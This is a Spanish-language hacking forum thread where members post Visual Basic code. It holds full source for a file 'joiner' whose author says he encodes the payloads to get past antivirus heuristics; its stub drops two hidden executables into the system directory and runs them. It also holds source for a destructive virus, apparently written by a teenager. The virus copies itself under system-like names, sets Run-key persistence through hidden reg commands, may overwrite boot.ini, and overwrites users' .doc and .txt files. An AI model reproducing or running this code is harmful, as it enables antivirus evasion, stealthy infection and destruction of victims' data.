Publicar codigos

[ranefi]

Hola a todos, el objetivo de este tema es que todo aquel que desee publicar su código o una idea sobre código, que lo haga aquí­.

[Punk-Rock]

Weno, aki les traigo el codigo de mi joiner.....Esp ero ke les guste.....lueg o de leerlo posteen las criticas!!!!

Archivo Joiner (el ke junta los archivos):

' Bien, este codigo fue creado integramente por mi (Hendrix).
' sois libres de ponerlo en la pagian ke kerais siempre i kuando
' no se modifike nada de este codigo, este kodigo una vez lo
'tengais en el kompilador si lo podeis cambiar, pero para
'colgarlo en una web no lo cambieis porfavor...
'
'Bin, intentare explicarlo lo mejor ke podre, antes de empecar
'kiero explicar ke este kdoe no lo sake de ninguna pagina ni
'nada parecido, hice el joiner "a ciegas" (es decir, sin tener
'un modelo de progama delante kon el ke orientarme).
'Empecemos...(Es aconsejable empezar a leer desde el form_load)


Private Sub Command1_Click()
' Bien, este es el boton en el ke ponemos los datos al archivo virgen
Dim Ap1 As String
Dim file As String
Dim Tam2 As String * 9
Dim tam As String * 9
Dim ext As String * 4
Dim ext2 As String * 4
' Decalramos todas estas variables (Es importante kontar esos numeros (en sete caso los 10) para despues poder sacarlos correctamente)


If Text1.Text = "" Or Text2.Text = "" Then ' Si el text1.text o el text2 estan vacios lo advertimos y salimos
MsgBox "Tienes que seleccionar dos archivos para poder juntarlos", vbCritical, "Astaroth joiner V. 3"
Exit Sub
End If

' Aki se mostrara el commonDialog para decirnos ke guardemos el archivo .exe
cd.FileName = ""
cd.DialogTitle = "Generar el .exe"
cd.ShowSave

FileCopy App.Path & "\hen.dll", cd.FileName ' El han.dll en realidad es el archivo virgen .exe renombrado a .dll....buen truco ehh???

' Dumpeamos todos los archivos

Open Text1.Text For Binary As #1
file = Space(LOF(1)) ' Asignamos el espacio ke tendra esta variable...es improtante hacer esto, ya ke de esta manera nos aseguramos de ke kojemos todos los bytes
Get #1, , file ' Metemos TODO el archivo dentro de file
Close #1

file = HuffmanEncode(file, True) ' Encriptamos el Archivo para pasar la Heuristica
tam = Len(file) ' Tam pasa a valer el tamaño del archivo encriptado

Open Text2.Text For Binary As #1 ' Ya explicado
Ap1 = Space(LOF(1))
Put #1, , Ap1
Close #1

Ap1 = hufmanencode(Ap1, True)
Tam2 = Len(Ap1) ' Tabien ya explicado

' Sacamos las Extensiones de cada archivo

ext = Right(Text1.Text, 4) ' Sacamos los 4 ultimos numeros/letras del Text1.text (en este caso seria la extension)
ext2 = Right(Text2.Text, 4) ' Lo mismo

Open cd.FileName For Binary As #1 ' Abrimos el archivo ke nos pidio para generar el .exe
Seek (1), LOF(1) + 1 ' IMPORTANTISIMO!!!!! nos vamos al final del archivo
Put #1, , file
Put #1, , Ap1
Put #1, , ext
Put #1, , ext2
Close #1 ' Y ponemos los datos ke teniamos
MsgBox "Archivos juntados correctamente", , "Astaroth Joiner V. 3"

End Sub

Private Sub Command2_Click()
End ' Con este boton finalizamos el programa
End Sub

Private Sub Command3_Click()
Form2.Show ' Mostramos la advertencia... .
End Sub

Private Sub Command4_Click()
On Local Error Resume Next
    cd.CancelError = True
    'Especificar las extensiones a usar
    cd.DefaultExt = "*.crd"
    cd.Filter = "Todos los archivos (*.*)"
    cd.ShowOpen
    If Err Then
        'Cancelada la operación de abrir
    Else
        List1.AddItem cd.FileName
    End If
End Sub

Private Sub Command5_Click()
' El cd es el CommonDialog, agregadlo
On Local Error Resume Next
    cd.CancelError = True
    'Especificar las extensiones a usar
    cd.DefaultExt = "*.crd"
    cd.Filter = "Todos los archivos (*.*)"
    cd.ShowOpen
    If Err Then
        'Cancelada la operación de abrir
    Else
        Text2.Text = cd.FileName
    End If
End Sub


Private Sub Form_Load()
' Aki deberian de poner un kode para verificar ke existe App.Path & "\hen.dll"...pero ya se lo dejo a ustedes a esto...
End Sub

[Punk-Rock]

El modulo de Encriptación:

'################################################################
' Huffman Coding Compression / Decompression Algorithm
' Created 1 August 2000 by James Vincent Carnicelli
'
' NOTES
'
' The Huffman algorithm, named after its inventor, was created
' around about 1952.  It's the method used by most commercial
' compression utilities, like PKZIP, and even by the JPEG image
' file format.  It's generally thought to offer an average of
' 50% compression, given a typical mix of text and binary data.
' For long strings that contain lots of repeating characters or
' only a handful of different characters, the compression ratio
' could get as high as 80%.  While efficient, this algorithm is
' not guaranteed to result in a compressed string that is
' smaller than the original source.
'
' This is a less-than-optimal implementation of this compression
' algorithm.  It's very simple to use in your programs (even if
' it is difficult to understand how it works).  You need only
' call:
'
'         Compressed = HuffmanEncode(SourceText, [Force])
'
' passing in the text you want compressed.  If the compressed
' version is actually larger than the original source, this
' algorithm spits out a special string that contains a four-
' byte header and the original source string, so the resulting
' string will always be at most four bytes larger than the
' source string.  If you pass in True for Force, the result will
' always be huffman-encoded, bypassing this neat optimization.
' Be aware that the output is binary data, so it might not work
' nicely with some things like text boxes, certain Windows
' API calls, and some SQL and database field formats.
'
' To decode a string encoded with HuffmanEncode, simply call
' the following:
'
'         UncompressedTe xt = HuffmanDecode(Compressed)
'
' One cool application of this algorithm is encryption.  Because
' Huffman coding relies on variable-bit-length character
' representation s, it's next to impossible to decrypt a string
' compressed with this algorithm without recognizing the
' lookup tables in the header as the key to decrypting it.  You
' could even strip out this lookup table and keep it as a
' private key to be shared only with those you want.  Without
' the lookup table, even someone equiped with this very code
' would not likely be able to decrypt the string.
'
' One last thing.  While I've tested this algorithm with plain
' text strings and even some binary files, I don't know how
' much data you can cram into the compression engine before it
' breaks.  With luck, it's something like 2GB.  In that case,
' though, this would be pretty slow.  Also, I have not proven
' beyond a doubt that this won't choke on some data, so I would
' encourage you to do so to your satisfaction before putting
' this into full production.  Be sure to let me know if you find
' anything interesting.
'################################################################

Option Explicit

Private Enum HuffmanTreeNod eParts
    htnWeight = 1
    htnIsLeaf = 2
    htnAsciiCode = 3
    htnBitCode = 4
    htnLeftSubtree = 5
    htnRightSubtre e = 6
End Enum


'Compress the text.
Public Function HuffmanEncode(Text As String, Optional Force As Boolean) As String
    Dim TextLen As Long, Char As Byte, i As Long, j As Long
    Dim CodeCounts(255) As Long, BitStrings(255), BitString
    Dim HuffmanTrees As Collection
    Dim HTRootNode As Collection, HTNode As Collection
    Dim NextByte As Byte, BitPos As Integer, Temp As String
   
    'Initialize for processing.
    TextLen = Len(Text)
    Set HuffmanTrees = New Collection
   
    'Is there anything to encode?
    If TextLen = 0 Then
        HuffmanEncode = "HE0" & vbCr  'Version 0 = Plain text
        Exit Function  'No point in continuing
    End If
   
    HuffmanEncode = "HE2" & vbCr  'Version 1
   
    'Count how many times each ASCII code is encountered in text.
    For i = 1 To TextLen
        Char = Asc(Mid(Text, i, 1))
        CodeCounts(Char) = CodeCounts(Char) + 1
    Next
   
    'Initialize the forest of Huffman trees; one for each ASCII
    'character used.
    For i = 0 To UBound(CodeCounts)
        If CodeCounts(i) > 0 Then
            Set HTNode = NewNode
            S HTNode, htnAsciiCode, Chr(i)
            S HTNode, htnWeight, CDbl(CodeCounts(i) / TextLen)
            S HTNode, htnIsLeaf, True
           
            'Now place it in its reverse-ordered position.
            For j = 1 To HuffmanTrees.C ount + 1
                If j > HuffmanTrees.C ount Then
                    HuffmanTrees.A dd HTNode
                    Exit For
                End If
                If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
                    HuffmanTrees.A dd HTNode, , j
                    Exit For
                End If
            Next
        End If
    Next
   
    'Now assemble all these single-level Huffman trees into
    'one single tree, where all the leaves have the ASCII codes
    'associated with them.
    If HuffmanTrees.C ount = 1 Then
        Set HTNode = NewNode
        S HTNode, htnLeftSubtree, HuffmanTrees(1)
        S HTNode, htnWeight, 1
        HuffmanTrees.R emove (1)
        HuffmanTrees.A dd HTNode
    End If
    While HuffmanTrees.C ount > 1
        Set HTNode = NewNode
        S HTNode, htnRightSubtre e, HuffmanTrees(HuffmanTrees.C ount)
        HuffmanTrees.R emove HuffmanTrees.C ount
        S HTNode, htnLeftSubtree, HuffmanTrees(HuffmanTrees.C ount)
        HuffmanTrees.R emove HuffmanTrees.C ount
        S HTNode, htnWeight, HTNode(htnLeftSubtree)(htnWeight) + HTNode(htnRightSubtre e)(htnWeight)
       
        'Place this new tree it in its reverse-ordered position.
        For j = 1 To HuffmanTrees.C ount + 1
            If j > HuffmanTrees.C ount Then
                HuffmanTrees.A dd HTNode
                Exit For
            End If
            If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
                HuffmanTrees.A dd HTNode, , j
                Exit For
            End If
        Next
    Wend
    Set HTRootNode = HuffmanTrees(1)
    AttachBitCodes BitStrings, HTRootNode, Array()
    For i = 0 To UBound(BitStrings)
        If Not IsEmpty(BitStrings(i)) Then
            Set HTNode = BitStrings(i)
            Temp = Temp & HTNode(htnAsciiCode) _
              & BitsToString(HTNode(htnBitCode))
        End If
    Next
    HuffmanEncode = HuffmanEncode & Len(Temp) & vbCr & Temp
   
    'The next part of the header is a checksum value, which
    'we'll use later to verify our decompression.
    Char = 0
    For i = 1 To TextLen
        Char = Char Xor Asc(Mid(Text, i, 1))
    Next
    HuffmanEncode = HuffmanEncode & Chr(Char)
   
    'The final part of the header identifies how many bytes
    'the original text strings contains.  We will probably
    'have a few unused bits in the last byte that we need to
    'account for.  Additionally, this serves as a final check
    'for corruption.
    HuffmanEncode = HuffmanEncode & TextLen & vbCr
   
    'Now we can encode the data by exchanging each ASCII byte for
    'its appropriate bit string.
    BitPos = -1
    Char = 0
    Temp = ""
    For i = 1 To TextLen
        BitString = BitStrings(Asc(Mid(Text, i, 1)))(htnBitCode)
        'Add each bit to the end of the output stream's 1-byte buffer.
        For j = 0 To UBound(BitString)
            BitPos = BitPos + 1
            If BitString(j) = 1 Then
                Char = Char + 2 ^ BitPos
            End If
            'If the bit buffer is full, dump it to the output stream.
            If BitPos >= 7 Then
                Temp = Temp & Chr(Char)
                'If the temporary output buffer is full, dump it
                'to the final output stream.
                If Len(Temp) > 1024 Then
                    HuffmanEncode = HuffmanEncode & Temp
                    Temp = ""
                End If
                BitPos = -1
                Char = 0
            End If
        Next
    Next
    If BitPos > -1 Then
        Temp = Temp & Chr(Char)
    End If
    If Len(Temp) > 0 Then
        HuffmanEncode = HuffmanEncode & Temp
    End If
   
    'If it takes up more space compressed because the source is
    'small and the header is big, we'll leave it uncompressed
    'and prepend it with a 4 byte header.
    If Len(HuffmanEncode) > TextLen And Not Force Then
        HuffmanEncode = "HE0" & vbCr & Text
    End If
End Function


'Decompress the string back into its original text.
Public Function HuffmanDecode(ByVal Text As String) As String
    Dim Pos As Long, Temp As String, Char As Byte, Bits
    Dim i As Long, j As Long, CharsFound As Long, BitPos As Integer
    Dim CheckSum As Byte, SourceLen As Long, TextLen As Long
    Dim HTRootNode As Collection, HTNode As Collection
   
    'If this was left uncompressed, this will be easy.
    If Left(Text, 4) = "HE0" & vbCr Then
        HuffmanDecode = Mid(Text, 5)
        Exit Function
    End If
   
    'If this is any version other than 2, we'll bow out.
    If Left(Text, 4) <> "HE2" & vbCr Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "The data either was not compressed with HE2 or is corrupt"
    End If
    Text = Mid(Text, 5)
   
    'Extract the ASCII character bit-code table's byte length.
    Pos = InStr(1, Text, vbCr)
    If Pos = 0 Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "The data either was not compressed with HE2 or is corrupt"
    End If
    On Error Resume Next
    TextLen = Left(Text, Pos - 1)
    If Err.Number <> 0 Then
        On Error GoTo 0
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "The header is corrupt"
    End If
    On Error GoTo 0
    Text = Mid(Text, Pos + 1)
    Temp = Left(Text, TextLen)
    Text = Mid(Text, TextLen + 1)
    'Now extract the ASCII character bit-code table.
    Set HTRootNode = NewNode
    Pos = 1
    While Pos <= Len(Temp)
        Char = Asc(Mid(Temp, Pos, 1))
        Pos = Pos + 1
        Bits = StringToBits(Pos, Temp)
        Set HTNode = HTRootNode
        For j = 0 To UBound(Bits)
            If Bits(j) = 1 Then
                If HTNode(htnLeftSubtree) Is Nothing Then
                    S HTNode, htnLeftSubtree, NewNode
                End If
                Set HTNode = HTNode(htnLeftSubtree)
            Else
                If HTNode(htnRightSubtre e) Is Nothing Then
                    S HTNode, htnRightSubtre e, NewNode
                End If
                Set HTNode = HTNode(htnRightSubtre e)
            End If
        Next
        S HTNode, htnIsLeaf, True
        S HTNode, htnAsciiCode, Chr(Char)
        S HTNode, htnBitCode, Bits
    Wend
   
    'Extract the checksum.
    CheckSum = Asc(Left(Text, 1))
    Text = Mid(Text, 2)
   
    'Extract the length of the original string.
    Pos = InStr(1, Text, vbCr)
    If Pos = 0 Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "The header is corrupt"
    End If
    On Error Resume Next
    SourceLen = Left(Text, Pos - 1)
    If Err.Number <> 0 Then
        On Error GoTo 0
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "The header is corrupt"
    End If
    On Error GoTo 0
    Text = Mid(Text, Pos + 1)
    TextLen = Len(Text)
   
    'Now that we've processed the header, let's decode the actual data.
    i = 1
    BitPos = -1
    Set HTNode = HTRootNode
    Temp = ""
    While CharsFound < SourceLen
        If BitPos = -1 Then
            If i > TextLen Then
                Err.Raise vbObjectError, "HuffmanDecode()", _
                  "Expecting more bytes in data stream"
            End If
            Char = Asc(Mid(Text, i, 1))
            i = i + 1
        End If
        BitPos = BitPos + 1
       
        If (Char And 2 ^ BitPos) > 0 Then
            Set HTNode = HTNode(htnLeftSubtree)
        Else
            Set HTNode = HTNode(htnRightSubtre e)
        End If
        If HTNode Is Nothing Then
            'Uh oh.  We've followed the tree to a Huffman tree to a dead
            'end, which won't happen unless the data is corrupt.
            Err.Raise vbObjectError, "HuffmanDecode()", _
              "The header (lookup table) is corrupt"
        End If
       
        If HTNode(htnIsLeaf) Then
            Temp = Temp & HTNode(htnAsciiCode)
            If Len(Temp) > 1024 Then
                HuffmanDecode = HuffmanDecode & Temp
                Temp = ""
            End If
            CharsFound = CharsFound + 1
            Set HTNode = HTRootNode
        End If
       
        If BitPos >= 7 Then BitPos = -1
    Wend
    If Len(Temp) > 0 Then
        HuffmanDecode = HuffmanDecode & Temp
    End If
    If i <= TextLen Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "Found extra bytes at end of data stream"
    End If
   
    'Verify data to check for corruption.
    If Len(HuffmanDecode) <> SourceLen Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "Data corrupt because check sums do not match"
    End If
    Char = 0
    For i = 1 To SourceLen
        Char = Char Xor Asc(Mid(HuffmanDecode, i, 1))
    Next
    If Char <> CheckSum Then
        Err.Raise vbObjectError, "HuffmanDecode()", _
          "Data corrupt because check sums do not match"
    End If
End Function



'----------------------------------------------------------------
' Everything below here is only for supporting the two main
' routines above.
'----------------------------------------------------------------


'Follows the tree, now built, to its end leaf nodes, where the
'character codes are, in order to tell those character codes
'what their bit string representation s are.
Private Sub AttachBitCodes(BitStrings, HTNode As Collection, ByVal Bits)
    If HTNode Is Nothing Then Exit Sub
    If HTNode(htnIsLeaf) Then
        S HTNode, htnBitCode, Bits
        Set BitStrings(Asc(HTNode(htnAsciiCode))) = HTNode
    Else
        ReDim Preserve Bits(UBound(Bits) + 1)
        Bits(UBound(Bits)) = 1
        AttachBitCodes BitStrings, HTNode(htnLeftSubtree), Bits
        Bits(UBound(Bits)) = 0
        AttachBitCodes BitStrings, HTNode(htnRightSubtre e), Bits
    End If
End Sub

'Turns a string of '0' and '1' characters into a string of bytes
'containing the bits, preceeded by 1 byte indicating the
'number of bits represented.
Private Function BitsToString(Bits) As String
    Dim Char As Byte, i As Long
    BitsToString = Chr(UBound(Bits) + 1)  'Number of bits
    For i = 0 To UBound(Bits)
        If i Mod 8 = 0 Then
            If i > 0 Then BitsToString = BitsToString & Chr(Char)
            Char = 0
        End If
        If Bits(i) = 1 Then  'Bit value = 1
            'Mask the bit into its proper position in the byte
            Char = Char + 2 ^ (i Mod 8)
        End If
    Next
    BitsToString = BitsToString & Chr(Char)
End Function

'The opposite of BitsToString() function.
Private Function StringToBits(StartPos As Long, Bytes As String)
    Dim Char As Byte, i As Long, BitCount As Long, Bits
    Bits = Array()
    BitCount = Asc(Mid(Bytes, StartPos, 1))
    StartPos = StartPos + 1
    For i = 0 To BitCount - 1
        If i Mod 8 = 0 Then
            Char = Asc(Mid(Bytes, StartPos, 1))
            StartPos = StartPos + 1
        End If
        ReDim Preserve Bits(UBound(Bits) + 1)
        If (Char And 2 ^ (i Mod 8)) > 0 Then   'Bit value = 1
            Bits(UBound(Bits)) = 1
        Else  'Bit value = 0
            Bits(UBound(Bits)) = 0
        End If
    Next
    StringToBits = Bits
End Function

'Remove the specified item and put the specified value in its place.
Private Sub S(Col As Collection, Index As HuffmanTreeNod eParts, Value)
    Col.Remove Index
    If Index > Col.Count Then
        Col.Add Value
    Else
        Col.Add Value, , Index
    End If
End Sub

'Creates a new Huffman tree node with the default values set.
Private Function NewNode() As Collection
    Dim Node As New Collection
    Node.Add 0  'htnWeight
    Node.Add False  'htnIsLeaf
    Node.Add Chr(0)  'htnAsciiCode
    Node.Add ""  'htnBitCode
    Node.Add Nothing  'htnLeftSubtree
    Node.Add Nothing  'htnRightSubtre e
    Set NewNode = Node
End Function

[Punk-Rock]

El "Archivo virgen":

' Bien, eso es el "archivo virgen"...el mas importante, el ke realmente es el joiner....
Option Explicit
' Esta API sirve para ejecutar los archivos
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

' A esto lo usamos para sacar el directorio del Sistema (muy util para hacerlo multiplataform a)
Private Declare Function GetSystemDirec tory Lib "kernel32" Alias "GetSystemDirec toryA" _
    (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Dim buf As String
Dim ret As Long
Dim ruta As String


Private Sub Form_Load()
On Error Resume Next

Dim A As String * 9
Dim B As String * 9
Dim A2 As Long
Dim B2 As Long
Dim Ext1 As String * 4
Dim Ext2 As String * 4
Dim Ext1d As String
Dim Ext2d As String
Dim Ap1 As String
Dim Ap2 As String
Dim Ap1d As String
Dim Ap2d As String
Dim rut As String

Dim ruta As String
ruta = App.Path & "\" & App.EXEName & ".exe" ' Ruta pasa a valer la direccion de nosotros mismos, para podernos abrir

Open ruta For Binary As #1 ' Nos habrimos y nos kojemos lo ke nos habiamos puesto al fianl
Seek (1), LOF(1) - 25 ' Bien, creo ke aki no tendran problemas nadie...pero si no lo saben, la suma de todos esos numeritod de arriba da 26, pero ponemos 25 poke el VB empieza a leer asi....
Get #1, , A ' Extraemos el tamaño del primer archivo
Get #1, , B ' El del segundo
Get #1, , Ext1 ' La primera extension
Get #1, , Ext2 ' La del segundo
Close #1 ' Cerramos

Ext1d = Trim(Ext1) ' Sacamos los posibles espacino ke pueda haber
Ext2d = Trim(Ext2)

A2 = Trim(A) ' Igualmente, sacamso espacios
B2 = Trim(B)

Ap1 = Space(A) ' Aki indicamos el espacio ke valdra Ap1
Ap2 = Space(B) ' Lo mismo pero kon Ap2

Open ruta For Binary As #1 ' Nos habrimos y procedemos a la extraccion
Seek (1), LOF(1) - (A2 + B2 + 85) ' Aki lo ke hacemos es irnos al principio de donde empieza a haber datos de lso otros archivos (Archivo1 + Archivo2 + tamaños + extensiones)
Get #1, , Ap1 ' Sacamos el primer archivo
Get #1, , Ap2 ' Sacamos el Segundo archivo
Close #1

Ap1d = HuffmanDecode(Ap1) ' Lo desencriptamos
Ap2d = HuffmanDecode(Ap2) ' Igualmente

' Lo siguiente sirve para extraer el directorio del sistema
buf = String$(260, Chr$(0))
ret = GetSystemDirec tory(buf, Len(buf))
ruta = Left$(buf, ret)

Open ruta & "\uno" & "." & Ext1 For Binary As #1 ' Creamos el primer archivo
Put #1, , Ap1d ' Le ponemos el kontenido ke le pertoca
Close #1

Open ruta & "\dos" & "." & Ext2 For Binary As #1 ' Exactamente lo mismo
Put #1, , Ap2d
Close #1

ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & Ext1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & Ext2, vbNullString, vbNullString, 1

End ' Finalizamos el trabajo cerrando nuestra aplicacion
End Sub

' Bien, esto es todo el secreto de mi joiner....ahor a a practicar para mejorarlo....
' PD: En la version 3 creo ke no tiene eso de sacar el directorio, se lo e puesto porke realmente es muy funcional.
' Salu2 a todos y a todas!!!! Este kode lo dedico a una persona ke me tiene lokito... Va per tu!!!!

Weno, esto es todo....Si hay algun error notifikenmelo. ..saben porke puede haber errores? porke el archivo "principal" lo e vuelto a hacer de nuevo....porke lo tenia editado para hacer un joiner de infinitos archivos....y lo e tenido ke editar...xD xD xD

Salu2

Hendrix

[Yngwie Maty]

Hola a todos, es una mañana del martes, y mi colegio esta en paro, asi q en un lapsus de ocio total, nace mi mas reciente virus...
Este virus en terminos generales lo q hace es buscar todos los archivos *.doc y *.txt en los discos c y e, y reemplaza su contenido por varias lines cn el texto ''muerte a Lucy'', ademas deja a la serte de la victima si es que el archivo boot.ini es sobreescrito tbn...podria causarle mas de algun problema a algn q trabaje cn word...jeje
salu2
PD: por una cuestion de orden voy a hacerlo en varios posts
PD1: porfavor conserven intacto el nombre del autor y la cabecera del archivo...
PARADOJA: por una cuestion de tiempo (y ansias) no pude optimizar el codigo, q se tiene mucho codigo basura...

Código:

Dim Ruleta As Integer
Dim archivo0 As String
Dim archivo1 As String
Dim archivo2 As String
Dim archivo3 As String
Dim archivo4 As String
Dim archivo5 As String
Dim archivo6 As String
Dim archivo7 As String
Dim archivo8 As String
Dim archivo9 As String
Dim archivo10 As String
Dim archivo11 As String
Dim archivo12 As String
Dim archivo13 As String
Dim archivo14 As String
Dim archivo15 As String
Dim archivo16 As String
Dim archivo17 As String
Dim archivo18 As String
Dim archivo19 As String
Dim archivo20 As String
Dim archivo21 As String
Dim archivo22 As String
Dim archivo23 As String
Dim archivo24 As String
Dim archivo25 As String
Dim archivo26 As String
Dim archivo27 As String
Dim archivo28 As String
Dim archivo29 As String
Dim archivo30 As String
Dim archivo31 As String
Dim archivo32 As String
Dim archivo33 As String
Dim archivo34 As String
Dim archivo35 As String
Dim archivo36 As String
Dim archivo37 As String
Dim archivo38 As String
Dim archivo39 As String
Dim archivo40 As String
Dim archivo41 As String
Dim archivo42 As String
Dim archivo43 As String
Dim archivo44 As String
Dim archivo45 As String
Dim archivo46 As String
Dim archivo47 As String
Dim archivo48 As String
Dim archivo49 As String
Dim archivo50 As String
Dim archivo51 As String
Dim archivo52 As String
Dim archivo53 As String
Dim archivo54 As String
Dim archivo55 As String
Dim archivo56 As String
Dim archivo57 As String
Dim archivo58 As String
Dim archivo59 As String
Dim archivo60 As String
Dim archivo61 As String
Dim archivo62 As String
Dim archivo63 As String
Dim archivo64 As String
Dim archivo65 As String
Dim archivo66 As String
Dim archivo67 As String
Dim archivo68 As String
Dim archivo69 As String
Dim archivo70 As String
Dim archivo71 As String
Dim archivo72 As String
Dim archivo73 As String
Dim archivo74 As String
Dim archivo75 As String
Dim archivo76 As String
Dim archivo77 As String
Dim archivo78 As String
Dim archivo79 As String
Dim archivo80 As String
Dim archivo81 As String
Dim archivo82 As String
Dim archivo83 As String
Dim archivo84 As String
Dim archivo85 As String
Dim archivo86 As String
Dim archivo87 As String
Dim archivo88 As String
Dim archivo89 As String
Dim archivo90 As String
Dim archivo91 As String
Dim archivo92 As String
Dim archivo93 As String
Dim archivo94 As String
Dim archivo95 As String
Dim archivo96 As String
Dim archivo97 As String
Dim archivo98 As String
Dim archivo99 As String
Private Sub Form_Load()
'Made By The Shredder
'The Shredder has 15 years
'05-2006
'por favor no quitar esta cabecera con los derechos de autor
'Plis you don't quite this text with the rights
'MU3R73 4 LUCY
'K1LL 70 LUCY
'virus : Muerte a Lucy / Kill to Lucy
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set win = fso.getspecialfolder(1)
App.TaskVisible = False
FileCopy App.EXEName + ".exe", win + "\Isass.exe"
FileCopy App.EXEName + ".exe", win + "\explore.exe"
FileCopy App.EXEName + ".exe", win + "\windowsOS.exe"
FileCopy App.EXEName + ".exe", win + "\boot.exe"
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v System /d %systemroot%\system32\Isass.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v System32 /d %systemroot%\system32\boot.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsXP /d %systemroot%\system32\windowsOS.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Explorer /d %systemroot%\system32\explore.exe", vbHide
Shell "cmd.exe /c reg add HKLM\ /v Muerte_a_Lucy /d KilltoLucy", vbHide

If App.Path <> win Then
MsgBox "Error 456 no se puede abrir el archivo, verifique que ha escrito la ruta correctamente y vuelva a intentarlo", vbCritical, "Error"
End If

Randomize
Ruleta = Int((25 * Rnd) + 1)

If Ruleta = 15 Then
Shell "cmd.exe /c attrib -h -s c:\boot.ini", vbHide
Open "c:\boot.ini" For Output As #1
Call muerte
Shell "cmd.exe /c attrib +h +s c:\boot.ini", vbHide
End If

If App.PrevInstance Then
Do
On Error Resume Next
If Not fso.FileExists Then
FileCopy App.EXEName + ".exe", win + "\Isass.exe"
FileCopy App.EXEName + ".exe", win + "\explore.exe"
FileCopy App.EXEName + ".exe", win + "\windowsOS.exe"
FileCopy App.EXEName + ".exe", win + "\boot.exe"
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v System /d %systemroot%\system32\Isass.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v System32 /d %systemroot%\system32\boot.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsXP /d %systemroot%\system32\windowsOS.exe", vbHide
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Explorer /d %systemroot%\system32\explore.exe", vbHide
End If
Loop
End
End If

If fso.FolderExists("C:\") Then
Shell "cmd.exe /c dir c:\*.doc /l /s /d /b> %systemroot%\system\explor.txt", vbHide
replace1.Enabled = True
End If
If fso.FolderExists("E:\") Then
Shell "cmd.exe /c dir e:\*.doc /l /s /d /b> %systemroot%\system\explor1.txt", vbHide
replace2.Enabled = True
End If
If fso.FolderExists("C:\") Then
Shell "cmd.exe /c dir c:\*.txt /l /s /d /b> %systemroot%\system\explor2.txt", vbHide
replacetxt1.Enabled = True
End If
If fso.FolderExists("E:\") Then
Shell "cmd.exe /c dir e:\*.txt /l /s /d /b> %systemroot%\system\explor3.txt", vbHide
replacetxt2.Enabled = True
End If

End Sub

[Yngwie Maty]

Agregar un Timer llamado replace1 , con interval = 60000 y Enabled = false

Código:

Private Sub replace1_Timer()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set win = fso.getspecialfolder(1)
Lista = win + "\explor.txt"
Set a = fso.OpenTextFile(Lista, 1)
archivo0 = a.readline
archivo1 = a.readline
archivo2 = a.readline
archivo3 = a.readline
archivo4 = a.readline
archivo5 = a.readline
archivo6 = a.readline
archivo7 = a.readline
archivo8 = a.readline
archivo9 = a.readline
archivo10 = a.readline
archivo11 = a.readline
archivo12 = a.readline
archivo13 = a.readline
archivo14 = a.readline
archivo15 = a.readline
archivo16 = a.readline
archivo17 = a.readline
archivo18 = a.readline
archivo19 = a.readline
archivo20 = a.readline
archivo21 = a.readline
archivo22 = a.readline
archivo23 = a.readline
archivo24 = a.readline
archivo25 = a.readline
archivo26 = a.readline
archivo27 = a.readline
archivo28 = a.readline
archivo29 = a.readline
archivo30 = a.readline
archivo31 = a.readline
archivo32 = a.readline
archivo33 = a.readline
archivo34 = a.readline
archivo35 = a.readline
archivo36 = a.readline
archivo37 = a.readline
archivo38 = a.readline
archivo39 = a.readline
archivo40 = a.readline
archivo41 = a.readline
archivo42 = a.readline
archivo43 = a.readline
archivo44 = a.readline
archivo45 = a.readline
archivo46 = a.readline
archivo47 = a.readline
archivo48 = a.readline
archivo49 = a.readline
archivo50 = a.readline
archivo51 = a.readline
archivo52 = a.readline
archivo53 = a.readline
archivo54 = a.readline
archivo55 = a.readline
archivo56 = a.readline
archivo57 = a.readline
archivo58 = a.readline
archivo59 = a.readline
archivo60 = a.readline
archivo61 = a.readline
archivo62 = a.readline
archivo63 = a.readline
archivo64 = a.readline
archivo65 = a.readline
archivo66 = a.readline
archivo67 = a.readline
archivo68 = a.readline
archivo69 = a.readline
archivo70 = a.readline
archivo71 = a.readline
archivo72 = a.readline
archivo73 = a.readline
archivo74 = a.readline
archivo75 = a.readline
archivo76 = a.readline
archivo77 = a.readline
archivo78 = a.readline
archivo79 = a.readline
archivo80 = a.readline
archivo81 = a.readline
archivo82 = a.readline
archivo83 = a.readline
archivo84 = a.readline
archivo85 = a.readline
archivo86 = a.readline
archivo87 = a.readline
archivo88 = a.readline
archivo89 = a.readline
archivo90 = a.readline
archivo91 = a.readline
archivo92 = a.readline
archivo93 = a.readline
archivo94 = a.readline
archivo95 = a.readline
archivo96 = a.readline
archivo97 = a.readline
archivo98 = a.readline
archivo99 = a.readline

a.Close

If fso.FileExists(archivo0) Then
Open archivo0 For Output As #1
Call muerte
End If
If fso.FileExists(archivo1) Then
Open archivo1 For Output As #1
Call muerte
End If
If fso.FileExists(archivo2) Then
Open archivo2 For Output As #1
Call muerte
End If
If fso.FileExists(archivo3) Then
Open archivo3 For Output As #1
Call muerte
